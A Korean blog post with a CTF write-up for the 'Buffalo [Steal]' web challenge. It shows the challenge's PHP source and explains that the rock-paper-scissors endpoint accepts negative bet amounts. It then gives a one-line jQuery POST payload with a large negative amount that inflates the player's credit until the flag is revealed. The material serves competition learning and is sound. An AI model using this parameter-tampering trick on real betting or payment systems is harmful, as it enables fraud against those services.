🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

183

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

보안/CTF

[화이트햇콘테스트-예선] Web+Forensics Writeup

알 수 없는 사용자 2022. 10. 22. 03:15
728x90
반응형

Buffalo [Steal] Writeup

Introduction

Buffalo [Steal] (269 pts, 39 solves)
적국이 암호화폐 세탁 목적으로 만든 겜블링 사이트에서 비밀 정보를 탈취하라.
URL : http://3.36.92.61/

Code Analysis

mypage.php

<?php

define("_BUFFALO_", 1);
define("_LOGIN_BYPASS_", 1);

include "__common.php";

if(isset($_POST["nick"])) {
    $n = bin2hex($_POST["nick"]);
    $u = bin2hex($user["userid"]);
    $p = sha1($_POST["pw"]);

    if($p !== $user["pw"]) {
        die("<script nonce=$nonce>alert('Incorrect password'); location.href = '/mypage.php';</script>");
    }
    $conn->query("
        UPDATE user SET nick = '$n' WHERE userid = '$u'
    ");
}
?>

<html>
    <head>
        <?php include "_head.php" ?>
    </head>
    <body>
        <?php include "_navbar.php" ?>
        <div class="row mt-5">
            <form class="col-6 offset-3" method="POST">

            <p class="mb-4">
                    Your current credit : <b><?=number_format($user["credit"])?> BFLs</b><br>
                    Your Level :
                    <?php
                        if ($user["credit"] > 1e8) {
                            $level = "VVIP";
                        }
                        else if ($user["credit"] > 1e5) {
                            $level = "VIP";
                        }
                        else if ($user["credit"] > 5e4) {
                            $level = "Platinum";
                        }
                        else if ($user["credit"] > 2e4) {
                            $level = "Gold";
                        }
                        else if ($user["credit"] > 1e4) {
                            $level = "Silver";
                        }
                        else if ($user["credit"] > 50) {
                            $level = "Bronze";
                        }
                        else if ($user["credit"] > 10) {
                            $level = "Useless";
                        }
                        else {
                            $level = "Poor";
                        }

                        echo $level;
                    ?> <br>
                    <?php
		    $excl = "<span class='text-danger'>UNAVAILABLE</span>";

		    $x = scandir("__flag/");
		    foreach($x as $uuu) {
			if($uuu[0] == '.') continue;
		        include "__flag/$uuu";
		    }

                    if ($level == "VVIP") {
                        $excl = "<span class='text-success'>$flag</span>";
                    }
                    else if ($level == "VIP") {
                        $excl = "<span class='text-warning'>".substr($flag, 0, 10)."</span> (trial)";
                    }
                    echo "VVIP Member Exclusive :: <b>$excl</b>";
                    ?>
                </p>

                <div class="form-outline mb-4">
                    <input type="text" class="form-control" value="<?=$user["userid"]?>" disabled/>
                    <label class="form-label">User ID</label>
                </div>


                <div class="form-outline mb-4">
                    <input type="text" id="nick" name="nick" value="<?=$user["nick"]?>" class="form-control" />
                    <label class="form-label" for="nick">Nickname</label>
                </div>

                <div class="form-outline mb-4">
                    <input type="password" id="pw" name="pw" class="form-control" />
                    <label class="form-label" for="pw">Password</label>
                </div>

                <p>
                    For security reason, you only can change your nickname.<br>
                    In addition, you have to verify your password
                </p>

                <button type="submit" class="btn btn-primary btn-block mb-4">Update</button>
            </form>
        </div>
    </body>
</html>

mypage.php 코드를 보면 VVIP 레벨이 되면 Flag 파일을 보여주는 것 같았습니다. 또한 VVIP 레벨이 되기 위해서는 100000000 BFL 이 필요하다는 것을 위 PHP 스크립트를 통해서 알 수 있습니다.

BFL 를 벌어들일 수 있는 타겟을 찾다가, 도박게임인 가위바위보 그리고 슬롯머신 코드를 보게 되었습니다.

먼저 슬롯머신 게임의 경우 어떤 경우에도 지게 되는 로직이었습니다.

game_slot.php

<?php
define("_BUFFALO_", 1);

include "../__common.php";
include "./_api_common.php";

if(isset($USER_DATA["amount"])) {
    $am = (float)$USER_DATA["amount"];
    $u = bin2hex($user["userid"]);

    if($am > $user["credit"] || $am <= 0) {
        error("Invalid bet");
    }
    mysqli_query($conn, "update user set credit = credit - $am where userid = '$u'");


    success("You lose");
}
error("Invalid API call");
 

반면 가위바위보의 경우에는 확률적으로 이기는 로직이었습니다.

game_rsp.php

<?php
define("_BUFFALO_", 1);

include "../__common.php";
include "./_api_common.php";

$sel = $USER_DATA["sel"];
if($sel == "win" || $sel == "lose" || $sel == "draw") {
    $am = (float)$USER_DATA["amount"];
    $u = bin2hex($user["userid"]);

    if($am > $user["credit"]) {
        error("Invalid bet");
    }
    mysqli_query($conn, "update user set credit = credit - $am where userid = '$u'");

    //0, 1, 2 : rock, scissors, paper
    $stack = random_choice(array(
        0 => 1, 1 => 1, 2 => 1
    ));

    $result_table = array(
        "win" => 100, "lose" => 100, "draw" => 100
    );

    //top secret: it's not fair game
    $result_table[$sel] -= 5;
    $result = random_choice($result_table);

    $heap = $stack;
    if($result == "win") {
        $heap = ($stack + 1) % 3;
    }
    else if ($result == "lose") {
        $heap = ($stack + 2) % 3;
    }

    $win = false;
    if($result == $sel) {
        $pay = $am * 1.95;
        mysqli_query($conn, "update user set credit = credit + $pay where userid = '$u';");
        $win = true;
    }

    success("", array(
        "win" => $win,
        "stack" => $stack,
        "heap" => $heap
    ));
}
error("Invalid API call");
 

다만, 눈 여겨볼 점으로는 am 변수 값에 credit amount 값이 들어가게 되는데, mysql query 문을 보면 -(마이너스)연산자로 credit 값을 연산하고 있고, 음수에 대한 필터링이 별도로 없는 것을 알 수 있었습니다. 때문에 credit amount 값을 음수로 주어 비용으로 지불하는 값을 차감되는 게 아니라 오히려 돈을 불릴 수 있는 취약점이 발생하게 됩니다.

Exploit

공격 페이로드는 다음과 같습니다.

$.post("/api/game_rsp.php", {
  amount: "-99999999999999",
  sel: "win",
});

그리고 결과를 확인해보면 돈이 엄청 불어나 Flag 값이 보이는 것을 알 수 있습니다.

credit boom! flag boom!

 

Buffalo 다른 문제들의 풀이는 아래 링크를 참고하세요.

https://domdom2y2.github.io/posts/buffalo-steal-writeup/

 

[화이트햇콘테스트-예선] Web+Forensics Writeup

Buffalo [Steal] Writeup

domdom2y2.github.io

 

728x90
반응형
댓글